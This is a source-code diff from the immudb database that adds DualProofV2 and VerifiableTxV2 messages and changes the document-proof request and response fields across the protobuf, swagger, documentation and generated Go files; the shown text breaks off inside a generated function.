d3c142b27f..64e59bad5d 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -20,8 +20,8 @@ package immudb.documentschema; import "google/api/annotations.proto"; import "google/protobuf/struct.proto"; -import "schema.proto"; import "protoc-gen-swagger/options/annotations.proto"; +import "schema.proto"; option go_package = "github.com/codenotary/immudb/pkg/api/documentschema"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { @@ -111,11 +111,13 @@ message DocumentSearchResponse { message DocumentProofRequest { string collection = 1; string documentId = 2; - int64 atRevision = 3; + uint64 transactionId = 3; + uint64 lastValidatedTransactionId = 4; } message DocumentProofResponse { - schema.VerifiableTx proof = 1; + uint32 collectionId = 1; + schema.VerifiableTxV2 verifiableTx = 2; } message DocumentAuditRequest { @@ -151,7 +153,7 @@ enum IndexType { message CollectionCreateRequest { string name = 1; - map indexKeys = 2; + map indexKeys = 2; } message CollectionCreateResponse { @@ -160,7 +162,7 @@ message CollectionCreateResponse { message CollectionInformation { string name = 1; - map indexKeys = 2; + map indexKeys = 2; } message CollectionGetResponse { @@ -171,8 +173,7 @@ message CollectionGetRequest { string name = 1; } -message CollectionListRequest { -} +message CollectionListRequest {} message CollectionListResponse { repeated CollectionInformation collections = 1; @@ -182,8 +183,7 @@ message CollectionDeleteRequest { string name = 1; } -message CollectionDeleteResponse { -} +message CollectionDeleteResponse {} message CollectionUpdateRequest { string name = 1; @@ -204,7 +204,7 @@ service DocumentService { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; - } + } rpc DocumentUpdate(DocumentUpdateRequest) returns (DocumentUpdateResponse) { option (google.api.http) = { @@ -212,10 +212,12 @@ service DocumentService { body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: ["documents"]; + tags: [ + "documents" + ]; }; - } - + } + rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { option (google.api.http) = { post: "/documents/search" @@ -224,27 +226,33 @@ service DocumentService { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "documents"; }; - } - + } + rpc DocumentAudit(DocumentAuditRequest) returns (DocumentAuditResponse) { option (google.api.http) = { post: "/documents/audit" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: ["documents", "audit"]; + tags: [ + "documents", + "audit" + ]; }; - } - + } + rpc DocumentProof(DocumentProofRequest) returns (DocumentProofResponse) { option (google.api.http) = { post: "/documents/proof" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: ["documents", "audit"]; + tags: [ + "documents", + "audit" + ]; }; - } + } rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { option (google.api.http) = { @@ -284,7 +292,6 @@ service DocumentService { }; } - rpc CollectionUpdate(CollectionUpdateRequest) returns (CollectionUpdateResponse) { option (google.api.http) = { put: "/collections/update" @@ -295,4 +302,4 @@ service DocumentService { }; } -} \ No newline at end of file +} diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index fa7bc60f75..a371cf67da 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -512,17 +512,25 @@ "documentId": { "type": "string" }, - "atRevision": { + "transactionId": { "type": "string", - "format": "int64" + "format": "uint64" + }, + "lastValidatedTransactionId": { + "type": "string", + "format": "uint64" } } }, "documentschemaDocumentProofResponse": { "type": "object", "properties": { - "proof": { - "$ref": "#/definitions/schemaVerifiableTx" + "collectionId": { + "type": "integer", + "format": "int64" + }, + "verifiableTx": { + "$ref": "#/definitions/schemaVerifiableTxV2" } } }, @@ -689,7 +697,7 @@ } } }, - "schemaDualProof": { + "schemaDualProofV2": { "type": "object", "properties": { "sourceTxHeader": { @@ -715,30 +723,9 @@ "format": "byte" }, "title": "Consistency proof between Merkle Trees in the source and target transactions" - }, - "targetBlTxAlh": { - "type": "string", - "format": "byte", - "title": "Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree" - }, - "lastInclusionProof": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Inclusion proof of the targetBlTxAlh in the target Merkle Tree" - }, - "linearProof": { - "$ref": "#/definitions/schemaLinearProof", - "title": "Linear proof starting from targetBlTxAlh to the final state value" - }, - "LinearAdvanceProof": { - "$ref": "#/definitions/schemaLinearAdvanceProof", - "title": "Proof of consistency between some part of older linear chain and newer Merkle Tree" } }, - "title": "DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs" + "title": "DualProofV2 contains inclusion and consistency proofs" }, "schemaEntry": { "type": "object", @@ -787,29 +774,6 @@ } } }, - "schemaInclusionProof": { - "type": "object", - "properties": { - "leaf": { - "type": "integer", - "format": "int32", - "title": "Index of the leaf for which the proof is generated" - }, - "width": { - "type": "integer", - "format": "int32", - "title": "Width of the tree at the leaf level" - }, - "terms": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "Proof terms (selected hashes from the tree)" - } - } - }, "schemaKVMetadata": { "type": "object", "properties": { @@ -827,51 +791,6 @@ } } }, - "schemaLinearAdvanceProof": { - "type": "object", - "properties": { - "linearProofTerms": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "terms for the linear chain" - }, - "inclusionProofs": { - "type": "array", - "items": { - "$ref": "#/definitions/schemaInclusionProof" - }, - "title": "inclusion proofs for steps on the linear chain" - } - }, - "title": "LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree" - }, - "schemaLinearProof": { - "type": "object", - "properties": { - "sourceTxId": { - "type": "string", - "format": "uint64", - "title": "Starting transaction of the proof" - }, - "TargetTxId": { - "type": "string", - "format": "uint64", - "title": "End transaction of the proof" - }, - "terms": { - "type": "array", - "items": { - "type": "string", - "format": "byte" - }, - "title": "List of terms (inner hashes of transaction entries)" - } - }, - "title": "LinearProof contains the linear part of the proof (outside the main Merkle Tree)" - }, "schemaReference": { "type": "object", "properties": { @@ -1033,7 +952,7 @@ }, "title": "TxMetadata contains metadata set to whole transaction" }, - "schemaVerifiableTx": { + "schemaVerifiableTxV2": { "type": "object", "properties": { "tx": { @@ -1041,7 +960,7 @@ "title": "Transaction to verify" }, "dualProof": { - "$ref": "#/definitions/schemaDualProof", + "$ref": "#/definitions/schemaDualProofV2", "title": "Proof for the transaction" }, "signature": { diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index d98406308c..b7528db1ec 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -141,6 +141,15 @@ func DualProofToProto(dualProof *store.DualProof) *DualProof { } } +func DualProofV2ToProto(dualProof *store.DualProofV2) *DualProofV2 { + return &DualProofV2{ + SourceTxHeader: TxHeaderToProto(dualProof.SourceTxHeader), + TargetTxHeader: TxHeaderToProto(dualProof.TargetTxHeader), + InclusionProof: DigestsToProto(dualProof.InclusionProof), + ConsistencyProof: DigestsToProto(dualProof.ConsistencyProof), + } +} + func TxHeaderToProto(hdr *store.TxHeader) *TxHeader { if hdr == nil { return nil diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 516c3f8ae9..aa45c0dc31 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -32,6 +32,7 @@ - [DeleteDatabaseResponse](#immudb.schema.DeleteDatabaseResponse) - [DeleteKeysRequest](#immudb.schema.DeleteKeysRequest) - [DualProof](#immudb.schema.DualProof) + - [DualProofV2](#immudb.schema.DualProofV2) - [Entries](#immudb.schema.Entries) - [EntriesSpec](#immudb.schema.EntriesSpec) - [Entry](#immudb.schema.Entry) @@ -130,6 +131,7 @@ - [VerifiableSetRequest](#immudb.schema.VerifiableSetRequest) - [VerifiableTx](#immudb.schema.VerifiableTx) - [VerifiableTxRequest](#immudb.schema.VerifiableTxRequest) + - [VerifiableTxV2](#immudb.schema.VerifiableTxV2) - [VerifiableZAddRequest](#immudb.schema.VerifiableZAddRequest) - [ZAddRequest](#immudb.schema.ZAddRequest) - [ZEntries](#immudb.schema.ZEntries) @@ -630,6 +632,24 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L + + +### DualProofV2 +DualProofV2 contains inclusion and consistency proofs + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| sourceTxHeader | [TxHeader](#immudb.schema.TxHeader) | | Header of the source (earlier) transaction | +| targetTxHeader | [TxHeader](#immudb.schema.TxHeader) | | Header of the target (latter) transaction | +| inclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the source transaction hash in the main Merkle Tree | +| consistencyProof | [bytes](#bytes) | repeated | Consistency proof between Merkle Trees in the source and target transactions | + + + + + + ### Entries @@ -2282,6 +2302,23 @@ Reserved to reply with more advanced response later + + +### VerifiableTxV2 + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| tx | [Tx](#immudb.schema.Tx) | | Transaction to verify | +| dualProof | [DualProofV2](#immudb.schema.DualProofV2) | | Proof for the transaction | +| signature | [Signature](#immudb.schema.Signature) | | Signature for the new state value | + + + + + + ### VerifiableZAddRequest diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 838eb20f94..17cdaed3bf 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -16,7 +16,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.12.4 +// protoc v3.11.4 // source: schema.proto package schema @@ -2330,6 +2330,82 @@ func (x *DualProof) GetLinearAdvanceProof() *LinearAdvanceProof { return nil } +// DualProofV2 contains inclusion and consistency proofs +type DualProofV2 struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Header of the source (earlier) transaction + SourceTxHeader *TxHeader `protobuf:"bytes,1,opt,name=sourceTxHeader,proto3" json:"sourceTxHeader,omitempty"` + // Header of the target (latter) transaction + TargetTxHeader *TxHeader `protobuf:"bytes,2,opt,name=targetTxHeader,proto3" json:"targetTxHeader,omitempty"` + // Inclusion proof of the source transaction hash in the main Merkle Tree + InclusionProof [][]byte `protobuf:"bytes,3,rep,name=inclusionProof,proto3" json:"inclusionProof,omitempty"` + // Consistency proof between Merkle Trees in the source and target transactions + ConsistencyProof [][]byte `protobuf:"bytes,4,rep,name=consistencyProof,proto3" json:"consistencyProof,omitempty"` +} + +func (x *DualProofV2) Reset() { + *x = DualProofV2{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[31] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DualProofV2) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DualProofV2) ProtoMessage() {} + +func (x *DualProofV2) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[31] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DualProofV2.ProtoReflect.Descriptor instead. +func (*DualProofV2) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{31} +} + +func (x *DualProofV2) GetSourceTxHeader() *TxHeader { + if x != nil { + return x.SourceTxHeader + } + return nil +} + +func (x *DualProofV2) GetTargetTxHeader() *TxHeader { + if x != nil { + return x.TargetTxHeader + } + return nil +} + +func (x *DualProofV2) GetInclusionProof() [][]byte { + if x != nil { + return x.InclusionProof + } + return nil +} + +func (x *DualProofV2) GetConsistencyProof() [][]byte { + if x != nil { + return x.ConsistencyProof + } + return nil +} + type Tx struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2348,7 +2424,7 @@ type Tx struct { func (x *Tx) Reset() { *x = Tx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[31] + mi := &file_schema_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2361,7 +2437,7 @@ func (x *Tx) String() string { func (*Tx) ProtoMessage() {} func (x *Tx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[31] + mi := &file_schema_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2374,7 +2450,7 @@ func (x *Tx) ProtoReflect() protoreflect.Message { // Deprecated: Use Tx.ProtoReflect.Descriptor instead. func (*Tx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{31} + return file_schema_proto_rawDescGZIP(), []int{32} } func (x *Tx) GetHeader() *TxHeader { @@ -2426,7 +2502,7 @@ type TxEntry struct { func (x *TxEntry) Reset() { *x = TxEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[32] + mi := &file_schema_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2439,7 +2515,7 @@ func (x *TxEntry) String() string { func (*TxEntry) ProtoMessage() {} func (x *TxEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[32] + mi := &file_schema_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2452,7 +2528,7 @@ func (x *TxEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use TxEntry.ProtoReflect.Descriptor instead. func (*TxEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{32} + return file_schema_proto_rawDescGZIP(), []int{33} } func (x *TxEntry) GetKey() []byte { @@ -2506,7 +2582,7 @@ type KVMetadata struct { func (x *KVMetadata) Reset() { *x = KVMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[33] + mi := &file_schema_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2519,7 +2595,7 @@ func (x *KVMetadata) String() string { func (*KVMetadata) ProtoMessage() {} func (x *KVMetadata) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[33] + mi := &file_schema_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2532,7 +2608,7 @@ func (x *KVMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use KVMetadata.ProtoReflect.Descriptor instead. func (*KVMetadata) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{33} + return file_schema_proto_rawDescGZIP(), []int{34} } func (x *KVMetadata) GetDeleted() bool { @@ -2568,7 +2644,7 @@ type Expiration struct { func (x *Expiration) Reset() { *x = Expiration{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[34] + mi := &file_schema_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2581,7 +2657,7 @@ func (x *Expiration) String() string { func (*Expiration) ProtoMessage() {} func (x *Expiration) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[34] + mi := &file_schema_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2594,7 +2670,7 @@ func (x *Expiration) ProtoReflect() protoreflect.Message { // Deprecated: Use Expiration.ProtoReflect.Descriptor instead. func (*Expiration) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{34} + return file_schema_proto_rawDescGZIP(), []int{35} } func (x *Expiration) GetExpiresAt() int64 { @@ -2620,7 +2696,7 @@ type VerifiableTx struct { func (x *VerifiableTx) Reset() { *x = VerifiableTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[35] + mi := &file_schema_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2633,7 +2709,7 @@ func (x *VerifiableTx) String() string { func (*VerifiableTx) ProtoMessage() {} func (x *VerifiableTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[35] + mi := &file_schema_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2646,7 +2722,7 @@ func (x *VerifiableTx) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTx.ProtoReflect.Descriptor instead. func (*VerifiableTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{35} + return file_schema_proto_rawDescGZIP(), []int{36} } func (x *VerifiableTx) GetTx() *Tx { @@ -2670,6 +2746,72 @@ func (x *VerifiableTx) GetSignature() *Signature { return nil } +type VerifiableTxV2 struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Transaction to verify + Tx *Tx `protobuf:"bytes,1,opt,name=tx,proto3" json:"tx,omitempty"` + // Proof for the transaction + DualProof *DualProofV2 `protobuf:"bytes,2,opt,name=dualProof,proto3" json:"dualProof,omitempty"` + // Signature for the new state value + Signature *Signature `protobuf:"bytes,3,opt,name=signature,proto3" json:"signature,omitempty"` +} + +func (x *VerifiableTxV2) Reset() { + *x = VerifiableTxV2{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[37] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *VerifiableTxV2) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*VerifiableTxV2) ProtoMessage() {} + +func (x *VerifiableTxV2) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[37] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use VerifiableTxV2.ProtoReflect.Descriptor instead. +func (*VerifiableTxV2) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{37} +} + +func (x *VerifiableTxV2) GetTx() *Tx { + if x != nil { + return x.Tx + } + return nil +} + +func (x *VerifiableTxV2) GetDualProof() *DualProofV2 { + if x != nil { + return x.DualProof + } + return nil +} + +func (x *VerifiableTxV2) GetSignature() *Signature { + if x != nil { + return x.Signature + } + return nil +} + type VerifiableEntry struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2686,7 +2828,7 @@ type VerifiableEntry struct { func (x *VerifiableEntry) Reset() { *x = VerifiableEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[36] + mi := &file_schema_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2699,7 +2841,7 @@ func (x *VerifiableEntry) String() string { func (*VerifiableEntry) ProtoMessage() {} func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[36] + mi := &file_schema_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2712,7 +2854,7 @@ func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableEntry.ProtoReflect.Descriptor instead. func (*VerifiableEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{36} + return file_schema_proto_rawDescGZIP(), []int{38} } func (x *VerifiableEntry) GetEntry() *Entry { @@ -2752,7 +2894,7 @@ type InclusionProof struct { func (x *InclusionProof) Reset() { *x = InclusionProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[37] + mi := &file_schema_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2765,7 +2907,7 @@ func (x *InclusionProof) String() string { func (*InclusionProof) ProtoMessage() {} func (x *InclusionProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[37] + mi := &file_schema_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2778,7 +2920,7 @@ func (x *InclusionProof) ProtoReflect() protoreflect.Message { // Deprecated: Use InclusionProof.ProtoReflect.Descriptor instead. func (*InclusionProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{37} + return file_schema_proto_rawDescGZIP(), []int{39} } func (x *InclusionProof) GetLeaf() int32 { @@ -2818,7 +2960,7 @@ type SetRequest struct { func (x *SetRequest) Reset() { *x = SetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[38] + mi := &file_schema_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2831,7 +2973,7 @@ func (x *SetRequest) String() string { func (*SetRequest) ProtoMessage() {} func (x *SetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[38] + mi := &file_schema_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2844,7 +2986,7 @@ func (x *SetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetRequest.ProtoReflect.Descriptor instead. func (*SetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{38} + return file_schema_proto_rawDescGZIP(), []int{40} } func (x *SetRequest) GetKVs() []*KeyValue { @@ -2890,7 +3032,7 @@ type KeyRequest struct { func (x *KeyRequest) Reset() { *x = KeyRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[39] + mi := &file_schema_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2903,7 +3045,7 @@ func (x *KeyRequest) String() string { func (*KeyRequest) ProtoMessage() {} func (x *KeyRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[39] + mi := &file_schema_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2916,7 +3058,7 @@ func (x *KeyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyRequest.ProtoReflect.Descriptor instead. func (*KeyRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{39} + return file_schema_proto_rawDescGZIP(), []int{41} } func (x *KeyRequest) GetKey() []byte { @@ -2969,7 +3111,7 @@ type KeyListRequest struct { func (x *KeyListRequest) Reset() { *x = KeyListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[40] + mi := &file_schema_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2982,7 +3124,7 @@ func (x *KeyListRequest) String() string { func (*KeyListRequest) ProtoMessage() {} func (x *KeyListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[40] + mi := &file_schema_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2995,7 +3137,7 @@ func (x *KeyListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyListRequest.ProtoReflect.Descriptor instead. func (*KeyListRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{40} + return file_schema_proto_rawDescGZIP(), []int{42} } func (x *KeyListRequest) GetKeys() [][]byte { @@ -3029,7 +3171,7 @@ type DeleteKeysRequest struct { func (x *DeleteKeysRequest) Reset() { *x = DeleteKeysRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[41] + mi := &file_schema_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3042,7 +3184,7 @@ func (x *DeleteKeysRequest) String() string { func (*DeleteKeysRequest) ProtoMessage() {} func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[41] + mi := &file_schema_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3055,7 +3197,7 @@ func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteKeysRequest.ProtoReflect.Descriptor instead. func (*DeleteKeysRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{41} + return file_schema_proto_rawDescGZIP(), []int{43} } func (x *DeleteKeysRequest) GetKeys() [][]byte { @@ -3093,7 +3235,7 @@ type VerifiableSetRequest struct { func (x *VerifiableSetRequest) Reset() { *x = VerifiableSetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[42] + mi := &file_schema_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3106,7 +3248,7 @@ func (x *VerifiableSetRequest) String() string { func (*VerifiableSetRequest) ProtoMessage() {} func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[42] + mi := &file_schema_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3119,7 +3261,7 @@ func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{42} + return file_schema_proto_rawDescGZIP(), []int{44} } func (x *VerifiableSetRequest) GetSetRequest() *SetRequest { @@ -3150,7 +3292,7 @@ type VerifiableGetRequest struct { func (x *VerifiableGetRequest) Reset() { *x = VerifiableGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[43] + mi := &file_schema_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3163,7 +3305,7 @@ func (x *VerifiableGetRequest) String() string { func (*VerifiableGetRequest) ProtoMessage() {} func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[43] + mi := &file_schema_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3176,7 +3318,7 @@ func (x *VerifiableGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{43} + return file_schema_proto_rawDescGZIP(), []int{45} } func (x *VerifiableGetRequest) GetKeyRequest() *KeyRequest { @@ -3203,7 +3345,7 @@ type ServerInfoRequest struct { func (x *ServerInfoRequest) Reset() { *x = ServerInfoRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[44] + mi := &file_schema_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3216,7 +3358,7 @@ func (x *ServerInfoRequest) String() string { func (*ServerInfoRequest) ProtoMessage() {} func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[44] + mi := &file_schema_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3229,7 +3371,7 @@ func (x *ServerInfoRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ServerInfoRequest.ProtoReflect.Descriptor instead. func (*ServerInfoRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{44} + return file_schema_proto_rawDescGZIP(), []int{46} } // ServerInfoResponse contains information about the server instance. @@ -3245,7 +3387,7 @@ type ServerInfoResponse struct { func (x *ServerInfoResponse) Reset() { *x = ServerInfoResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[45] + mi := &file_schema_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3258,7 +3400,7 @@ func (x *ServerInfoResponse) String() string { func (*ServerInfoResponse) ProtoMessage() {} func (x *ServerInfoResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[45] + mi := &file_schema_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3271,7 +3413,7 @@ func (x *ServerInfoResponse) 